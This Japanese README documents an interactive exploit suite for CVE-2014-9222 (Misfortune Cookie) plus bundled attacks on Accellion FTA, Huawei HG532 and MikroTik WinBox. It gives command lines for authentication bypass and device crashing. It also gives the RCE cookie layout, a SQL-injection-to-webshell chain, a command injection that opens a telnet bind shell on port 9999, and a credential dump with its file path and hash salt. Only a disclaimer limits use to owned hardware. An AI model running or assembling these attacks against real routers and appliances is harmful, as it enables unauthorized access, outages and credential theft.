
CVE-2014-9222(Misfortune Cookie)および関連するルーターエクスプロイト向けの対話型PoCスイート。検出、認証バイパス、DoS、RCEモジュールを備え、複数の脆弱性をスキャンするモードにも対応しています。
AllegroSoft RomPagerのHTTPクッキー処理におけるスタックオーバーフロー(4.34未満の全バージョン)。細工されたCookie:ヘッダーを含む単一の未認証リクエストでメモリが破壊されます。影響:管理者認証バイパス、DoS/再起動、および(ファームウェア固有のオフセットを使用した)リモートコード実行。
所有しているハードウェア、または明示的にテストを許可されたハードウェアに対してのみ使用してください。
python3 main.py # その後 [1] でターゲットを設定
python3 main.py http://192.168.1.1
[1] ターゲットの設定 / 切り替え
[2] ターゲットのフィンガープリント取得
[3] 脆弱性の検出(安全、非破壊的)
[4] 認証バイパス(マジッククッキー)
[5] DoS / デバイスのクラッシュ(破壊的)
[6] RCEヘルパー - ファームウェアアドレスからクッキーを導出
[7] モデル / クッキーテーブルの参照
[8] 全脆弱性のスキャン(プローブ)
[A] Accellion FTAチェーン(CVE-2021-27101 / 27102)
[B] Huawei HG532(CVE-2017-17215)
[C] MikroTik WinBox(CVE-2018-14847)
各アクションは実行前に何を行うかを表示します。DoSにはYESの入力が必要です。モデル別フィンガープリント(realm)はWWW-Authenticateヘッダーから自動検出され、クッキーテーブルと照合されます。
[8]は非破壊的なチェックで4つの脆弱性ファミリーすべてに対してホストをプローブし、到達可能/脆弱と思われるものを表示します:
python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215
その後、確認された脆弱性を悪用するために、対応するメニュー項目([3]/[4]/[A]/[B]/[C])を実行します。
Misfortune Cookieに加えて、コンソールには他の3つの一般的な組み込み/アプライアンス脆弱性のPoCがバンドルされています:
[A] Accellion FTA(accellion_fta.py)- Mandiantが報告したUNC2546チェーンを再現:細工されたHostヘッダー(/courier/oauth.api)によるSQLインジェクションでw1シークレットを回復し、admin.plをトリガーしてevalウェブシェルを書き込み、検証します。27103(SSRF)/ 27104(認証後コマンド実行)は記載されていますが、デフォルトでは実行されません。[B] Huawei HG532(huawei_hg532.py)- /ctrlt/DeviceUpgrade_1へのSOAP POSTでNewStatusURLに$(<cmd>)を含め、HTTP Digest認証dslf-config:adminを使用。デフォルトコマンドは9999番ポートでtelnetバインドシェルを開きます。[C] MikroTik WinBox(mikrotik_winbox.py)- WinBoxプロトコルを介したディレクトリトラバーサルによるファイル読み取り。デフォルトではを読み取り、保存された認証情報を復号します( XOR)。すべての追加PoCはコンソールでの明示的な確認が必要です。
python3 detect.py http://192.168.1.1 # 安全なチェック
python3 auth_bypass.py http://192.168.1.1 # モデル自動検出
python3 auth_bypass.py http://192.168.1.1 --restore # 認証を再有効化
python3 auth_bypass.py http://192.168.1.1 --all # 既知の全クッキーを試行
python3 auth_bypass.py http://192.168.1.1 --brute # 網羅的(非常に遅い、クラッシュする)
python3 dos.py http://192.168.1.1 # クラッシュ / 再起動(破壊的)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D # アドレス -> (num, pad)
Cookie: C<evilnum>=<pad "B"バイト><ペイロード>;
evilnumとpadはファームウェア固有です。evilnumはRomPagerの0x28バイトのクッキー配列をインデックスします(C_Array + evilnum*0x28 + pad = 上書きされるアドレス)。exploitdb 39739とMetasploitのallegro_rompager_auth_bypassモジュールから統合されたモデル別テーブルはcommon.pyにあります。
正確なファームウェアイメージが1つ必要です。手順(rce/README.md参照):binwalkでrootfsを抽出し、Ghidraでクッキーパーサーをリバースしてバッファ -> 保存された$raデルタを特定し、derive_cookie.pyで(num, pad)を導出し、ライブターゲットに触れる前にQEMUエミュレートイメージに対してMIPSシェルコードを検証します。
auxiliary/scanner/http/allegro_rompager_misfortune_cookie
および auxiliary/admin/http/allegro_rompager_auth_bypass| 脆弱性 | CVE | プローブの内容 |
|---|
| RomPager | CVE-2014-9222 | HTTPバナー + バージョンと4.34の比較 |
| Huawei HG532 | CVE-2017-17215 | SOAPエンドポイント稼働 + Digest realm |
| MikroTik WinBox | CVE-2018-14847 | ライブWinBoxファイル読み取り(認証情報ダンプ) |
| Accellion FTA | CVE-2021-27101/104 | Accellion/oauth.apiフィンガープリント |
| メニュー | CVE | ターゲット | ポート |
|---|
[A] | CVE-2021-27101/27102 | Accellion FTA | 80 |
[B] | CVE-2017-17215 | Huawei HG532 | 37215 |
[C] | CVE-2018-14847 | MikroTik WinBox | 8291 |
flash/rw/store/user.datmd5(user + "283i4jfkai3389")| ファイル | 目的 |
|---|
main.py | 対話型コンソール |
ui.py | バナー + UIヘルパー(header/info/warn/err/success/prompt/confirm) |
common.py | フィンガープリンティング、マジッククッキービルダー、モデル別(num, pad)テーブル |
detect.py | 非破壊的脆弱性チェック(バージョン + カナリアクッキー) |
scan.py | 4つの脆弱性ファミリーすべてに対するターゲットのプローブ(オプション8) |
auth_bypass.py | realm自動検出によるマジッククッキー認証バイパス |
dos.py | 過大クッキーによるスタックスマッシュ -> ウォッチドッグ再起動 |
accellion_fta.py | CVE-2021-27101/27102 SQLi -> ウェブシェルチェーン |
huawei_hg532.py | CVE-2017-17215 SOAPコマンドインジェクション |
mikrotik_winbox.py | CVE-2018-14847 WinBoxファイル読み取り / 認証情報ダンプ |
rce/derive_cookie.py | C_Array + ターゲットアドレスを(num, pad)に変換 |
rce/README.md | 完全なRCE手法 + エクスプロイト計算 |
rce/references/ | 31C3スライド、NCCホワイトペーパー、解説記事、レイアウトテーブル |